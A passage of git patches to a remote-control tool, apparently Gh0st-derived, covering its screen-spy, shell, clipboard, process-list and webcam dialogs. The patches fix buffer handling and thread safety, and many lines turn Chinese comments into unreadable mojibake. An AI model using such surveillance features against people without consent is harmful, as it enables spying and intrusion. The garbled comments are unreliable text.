m_ContextObject->InDeCompressedBuffer.GetBuffer(2), sizeof(POINT)); - // 鼠标移动了 + // 榧犳爣绉诲姩浜 if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0) { bChange = TRUE; } - // 光标类型发生变化 + // 鍏夋爣绫诲瀷鍙戠敓鍙樺寲 BYTE bOldCursorIndex = m_bCursorIndex; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0]; if (bOldCursorIndex != m_bCursorIndex) { bChange = TRUE; - if (m_bIsCtrl && !m_bIsTraceCursor)//替换指定窗口所属类的WNDCLASSEX结构 + if (m_bIsCtrl && !m_bIsTraceCursor)//鏇挎崲鎸囧畾绐楀彛鎵灞炵被鐨刉NDCLASSEX缁撴瀯 SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex)); } - // 屏幕是否变化 + // 灞忓箷鏄惁鍙樺寲 if (NextScreenLength > 0) { bChange = TRUE; } - //lodsd指令从ESI指向的内存位置4个字节内容放入EAX中并且下移4 - //movsb指令字节传送数据,通过SI和DI这两个寄存器控制字符串的源地址和目标地址 + //lodsd鎸囦护浠嶦SI鎸囧悜鐨勫唴瀛樹綅缃4涓瓧鑺傚唴瀹规斁鍏AX涓苟涓斾笅绉4 + //movsb鎸囦护瀛楄妭浼犻佹暟鎹紝閫氳繃SI鍜孌I杩欎袱涓瘎瀛樺櫒鎺у埗瀛楃涓茬殑婧愬湴鍧鍜岀洰鏍囧湴鍧 //m_rectBuffer [0002 esi0002 esi000A 000C] [][]edi[][][][][][][][][][][][][][][][][] __asm { @@ -258,15 +257,15 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void) jmp CopyEnd CopyNextBlock: mov edi, [FirstScreenData] - lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移 - add edi, eax // lpFirstScreen偏移eax - lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小 + lodsd // 鎶妉pNextScreen鐨勭涓涓弻瀛楄妭锛屾斁鍒癳ax涓,灏辨槸DIB涓敼鍙樺尯鍩熺殑鍋忕Щ + add edi, eax // lpFirstScreen鍋忕Щeax + lodsd // 鎶妉pNextScreen鐨勪笅涓涓弻瀛楄妭锛屾斁鍒癳ax涓, 灏辨槸鏀瑰彉鍖哄煙鐨勫ぇ灏 mov ecx, eax - sub ebx, 8 // ebx 减去 两个dword - sub ebx, ecx // ebx 减去DIB数据的大小 + sub ebx, 8 // ebx 鍑忓幓 涓や釜dword + sub ebx, ecx // ebx 鍑忓幓DIB鏁版嵁鐨勫ぇ灏 rep movsb CopyEnd: - cmp ebx, 0 // 是否写入完毕 + cmp ebx, 0 // 鏄惁鍐欏叆瀹屾瘯 jnz CopyNextBlock } @@ -283,7 +282,7 @@ void CScreenSpyDlg::OnPaint() if (m_bIsFirst) { - DrawTipString("请等待......"); + DrawTipString("璇风瓑寰......"); return; } @@ -313,11 +312,11 @@ VOID CScreenSpyDlg::DrawTipString(CString strString) { RECT Rect; GetClientRect(&Rect); - //COLORREF用来描绘一个RGB颜色 + //COLORREF鐢ㄦ潵鎻忕粯涓涓猂GB棰滆壊 COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00); COLORREF OldBackgroundColor = SetBkColor(m_hFullDC, BackgroundColor); COLORREF OldTextColor = SetTextColor(m_hFullDC, RGB(0xff,0x00,0x00)); - //ExtTextOut函数可以提供一个可供选择的矩形,用当前选择的字体、背景颜色和正文颜色来绘制一个字符串 + //ExtTextOut鍑芥暟鍙互鎻愪緵涓涓彲渚涢夋嫨鐨勭煩褰紝鐢ㄥ綋鍓嶉夋嫨鐨勫瓧浣撱佽儗鏅鑹插拰姝f枃棰滆壊鏉ョ粯鍒朵竴涓瓧绗︿覆 ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL); DrawText (m_hFullDC, strString, -1, &Rect,DT_SINGLELINE | DT_CENTER | DT_VCENTER); @@ -329,7 +328,7 @@ VOID CScreenSpyDlg::DrawTipString(CString strString) void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) { - // TODO: 在此添加消息处理程序代码和/或调用默认值 + // TODO: 鍦ㄦ娣诲姞娑堟伅澶勭悊绋嬪簭浠g爜鍜/鎴栬皟鐢ㄩ粯璁ゅ CMenu* SysMenu = GetSystemMenu(FALSE); switch (nID) @@ -340,27 +339,27 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); break; } - case IDM_FULLSCREEN: // 全屏 + case IDM_FULLSCREEN: // 鍏ㄥ睆 { EnterFullScreen(); - SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_CHECKED); //菜单样式 + SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_CHECKED); //鑿滃崟鏍峰紡 break; } - case IDM_SAVEDIB: // 快照保存 + case IDM_SAVEDIB: // 蹇収淇濆瓨 { SaveSnapshot(); break; } - case IDM_TRACE_CURSOR: // 跟踪被控端鼠标 + case IDM_TRACE_CURSOR: // 璺熻釜琚帶绔紶鏍 { - m_bIsTraceCursor = !m_bIsTraceCursor; //这里在改变数据 - SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//在菜单打钩不打钩 + m_bIsTraceCursor = !m_bIsTraceCursor; //杩欓噷鍦ㄦ敼鍙樻暟鎹 + SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//鍦ㄨ彍鍗曟墦閽╀笉鎵撻挬 - // 重绘消除或显示鼠标 + // 閲嶇粯娑堥櫎鎴栨樉绀洪紶鏍 OnPaint(); break; } - case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘 + case IDM_BLOCK_INPUT: // 閿佸畾鏈嶅姟绔紶鏍囧拰閿洏 { BOOL bIsChecked = SysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED; SysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED); @@ -371,13 +370,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken)); break; } - case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容 + case IDM_GET_CLIPBOARD: //鎯宠Client鐨勫壀璐存澘鍐呭 { BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken)); break; } - case IDM_SET_CLIPBOARD: //给他 + case IDM_SET_CLIPBOARD: //缁欎粬 { SendServerClipboard(); break; @@ -416,7 +415,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: - if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: 退出全屏 + if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: 閫鍑哄叏灞 return TRUE; if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN) { @@ -428,7 +427,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) SendCommand(&Msg); } if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) - return TRUE;// 屏蔽Enter和ESC关闭对话 + return TRUE;// 灞忚斀Enter鍜孍SC鍏抽棴瀵硅瘽 break; } @@ -452,7 +451,7 @@ VOID CScreenSpyDlg::SendCommand(MSG* Msg) BOOL CScreenSpyDlg::SaveSnapshot(void) { CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp"); - CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this); + CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "浣嶅浘鏂囦欢(*.bmp)|*.bmp|", this); if(Dlg.DoModal () != IDOK) return FALSE; @@ -464,12 +463,12 @@ BOOL CScreenSpyDlg::SaveSnapshot(void) return FALSE; } - // BITMAPINFO大小 + // BITMAPINFO澶у皬 //+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD) //bmp fjkdfj dkfjkdfj [][][][] int nbmiSize = sizeof(BITMAPINFO); - //协议 TCP 校验值 + //鍗忚 TCP 鏍¢獙鍊 BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B'); BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421 BitMapFileHeader.bfReserved1 = 0; //8000 @@ -506,16 +505,16 @@ VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength) VOID CScreenSpyDlg::SendServerClipboard(void) { - if (!::OpenClipboard(NULL)) //打开剪切板设备 + if (!::OpenClipboard(NULL)) //鎵撳紑鍓垏鏉胯澶 return; - HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //代表着一个内存 + HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //浠h〃鐫涓涓唴瀛 if (hGlobal == NULL) { ::CloseClipboard(); return; } int iPacketLength = GlobalSize(hGlobal) + 1; - char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //锁定 + char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //閿佸畾 LPBYTE szBuffer = new BYTE[iPacketLength]; szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD; @@ -650,14 +649,14 @@ void CScreenSpyDlg::EnterFullScreen() } } -// 全屏退出成功则返回true +// 鍏ㄥ睆閫鍑烘垚鍔熷垯杩斿洖true bool CScreenSpyDlg::LeaveFullScreen() { if (m_bFullScreen) { SetWindowPlacement(&m_struOldWndpl); CMenu *SysMenu = GetSystemMenu(FALSE); - SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //菜单样式 + SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //鑿滃崟鏍峰紡 m_bFullScreen = false; return true; } diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp index a62575a..4922209 100644 --- a/server/2015Remote/ServicesDlg.cpp +++ b/server/2015Remote/ServicesDlg.cpp @@ -71,7 +71,8 @@ BOOL CServicesDlg::OnInitDialog() int CServicesDlg::ShowServicesList(void) { - char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); + char *szBuffer = tmp.c_str(); char *szDisplayName; char *szServiceName; char *szRunWay; @@ -169,7 +170,7 @@ void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult) void CServicesDlg::OnReceiveComplete(void) { - switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_SERVERLIST: ShowServicesList(); diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp index 67a41a5..26ddfeb 100644 --- a/server/2015Remote/ShellDlg.cpp +++ b/server/2015Remote/ShellDlg.cpp @@ -83,7 +83,8 @@ VOID CShellDlg::AddKeyBoardData(void) //Hello>dir //Shit\0 m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //从被控制端来的数据我们要加上一个\0 - CString strResult = (char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0); //获得所有的数据 包括 \0 + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); + CString strResult = tmp.c_str(); //获得所有的数据 包括 \0 //替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致 所有的回车换行 strResult.Replace("\n", "\r\n"); diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 4b55288..2184fcd 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -22,8 +22,7 @@ IMPLEMENT_DYNAMIC(CSystemDlg, CDialog) m_ContextObject = ContextObject; m_iocpServer = IOCPServer; - char *lpBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(0)); //被控端传回的数据 - m_bHow=lpBuffer[0]; + m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0); } CSystemDlg::~CSystemDlg() @@ -90,7 +89,8 @@ BOOL CSystemDlg::OnInitDialog() void CSystemDlg::ShowWindowsList(void) { - char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); + char *szBuffer = tmp.c_str(); DWORD dwOffset = 0; char *szTitle = NULL; bool isDel=false; @@ -120,7 +120,8 @@ void CSystemDlg::ShowWindowsList(void) void CSystemDlg::ShowProcessList(void) { - char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)); //xiaoxi[][][][][] + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); + char *szBuffer = tmp.c_str(); //xiaoxi[][][][][] char *szExeFile; char *szProcessFullPath; DWORD dwOffset = 0; @@ -270,7 +271,7 @@ void CSystemDlg::GetWindowsList(void) void CSystemDlg::OnReceiveComplete(void) { - switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_PSLIST: { diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index c52798c..e886825 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -139,8 +139,7 @@ void CVideoDlg::ResetScreen(void) int iBitMapInforSize = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; m_BitmapInfor_Full = (LPBITMAPINFO) new BYTE[iBitMapInforSize]; - memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), iBitMapInforSize); - + m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, iBitMapInforSize, 1); m_BitmapData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage]; m_BitmapCompressedData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage]; } @@ -249,7 +248,7 @@ void CVideoDlg::OnReceiveComplete(void) { ++m_nCount; - switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_WEBCAM_DIB: { @@ -270,7 +269,8 @@ void CVideoDlg::DrawDIB(void) const int nHeadLen = 1 + 1 + 4; - LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer(); + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); + LPBYTE szBuffer = tmp.Buf(); UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength(); if (szBuffer[1] == 0) // 没有经过H263压缩的原始数据,不需要解码 { From e69f18d576315af2bf98f9828a98ac267155cf57 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Thu, 26 Dec 2024 21:58:44 +0800 Subject: [PATCH 3/3] fix: showing the wrong host quantity in status bar --- ReadMe.txt | 6 ++++++ server/2015Remote/2015RemoteDlg.cpp | 21 +++++++++++++++------ server/2015Remote/2015RemoteDlg.h | 2 +- 3 files changed, 22 insertions(+), 7 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index 5d4bf1c..d924867 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -225,3 +225,9 @@ TestRun鍦ㄥ啓鍏ュ紑鏈鸿嚜鍚姩椤规椂鍏堟彁鍗囨潈闄愶紝浠ラ槻姝㈠洜鏉冮檺涓嶈冻 2.澧炲姞浜嗕娇鐢╒LD鐨勬搷浣滄柟娉曪紝璇﹁"server\2015Remote\stdafx.h"銆 娉ㄦ剰锛氳嚜VS2019寮濮嬶紝涓嶆敮鎸乆P绯荤粺浜嗭紙寰蒋宸茬粡澹版槑杩欎釜鍙樻洿锛夈傚鏋滄湁闇瑕佸湪XP绯荤粺杩涜鐩戞帶鐨勯渶姹傦紝鎺ㄨ崘浣跨敤"2015Remote.sln"銆 濡傛灉浣跨敤VS2015缂栬瘧锛岄渶灏哤indowsTargetPlatformVersion淇敼涓8.1锛屽皢PlatformToolset淇敼涓簐140_xp銆 + +2024.12.26 +瑙e喅涓绘帶绋嬪簭姒傜巼鎬у穿婧冪殑闂锛屽寮轰富鎺х▼搴忚繍琛岀殑绋冲畾鎬с傛湰浜烘湭杩涜骞挎硾娴嬭瘯锛屼笉淇濊瘉褰诲簳鏍规不锛屼絾绋冲畾鎬ф湁鏄庢樉鏀硅銆 +fix: client threads number excceeding bug +fix: #19 the CBuffer causing server crash +fix: showing the wrong host quantity in status bar diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index d5eb698..a12f808 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -122,7 +122,6 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE); m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE); - m_iCount = 0; InitializeCriticalSection(&m_cs); } @@ -337,7 +336,6 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); - m_iCount++; ShowMessage(true,strIP+"主机上线"); LeaveCriticalSection(&m_cs); @@ -356,7 +354,9 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg) CString strStatusMsg; - m_iCount=(m_iCount<=0?0:m_iCount); //防止iCount 有-1的情况 + EnterCriticalSection(&m_cs); + int m_iCount = m_CList_Online.GetItemCount(); + LeaveCriticalSection(&m_cs); strStatusMsg.Format("有%d个主机在线",m_iCount); m_StatusBar.SetPaneText(0,strStatusMsg); //在状态条上显示文字 @@ -479,6 +479,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy) { return; } + EnterCriticalSection(&m_cs); if (m_CList_Online.m_hWnd!=NULL) //(控件也是窗口因此也有句柄) { CRect rc; @@ -496,6 +497,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy) m_CList_Online.SetColumnWidth(i,(lenth)); //设置当前的宽度 } } + LeaveCriticalSection(&m_cs); if (m_CList_Message.m_hWnd!=NULL) { @@ -549,12 +551,14 @@ void CMy2015RemoteDlg::OnClose() #endif BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT; + EnterCriticalSection(&m_cs); int n = m_CList_Online.GetItemCount(); for(int Pos = 0; Pos < n; ++Pos) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos); m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE)); } + LeaveCriticalSection(&m_cs); Sleep(200); EnterCriticalSection(&m_cs); @@ -608,7 +612,10 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) GetCursorPos(&Point); int iCount = SubMenu->GetMenuItemCount(); - if (m_CList_Online.GetSelectedCount() == 0) //如果没有选中 + EnterCriticalSection(&m_cs); + int n = m_CList_Online.GetSelectedCount(); + LeaveCriticalSection(&m_cs); + if (n == 0) //如果没有选中 { for (int i = 0;iOnClientPreSending(ContextObject,szBuffer, ulLength); } + LeaveCriticalSection(&m_cs); } //真彩Bar @@ -1022,7 +1032,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) { ip = m_CList_Online.GetItemText(i, ONLINELIST_IP); m_CList_Online.DeleteItem(i); - m_iCount--; ShowMessage(true, ip + "主机下线"); break; } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 9e9a67a..f9bff62 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -82,7 +82,7 @@ public: #endif CRITICAL_SECTION m_cs; BOOL isClosed; - UINT m_iCount; + CBitmap m_bmOnline[2]; afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose();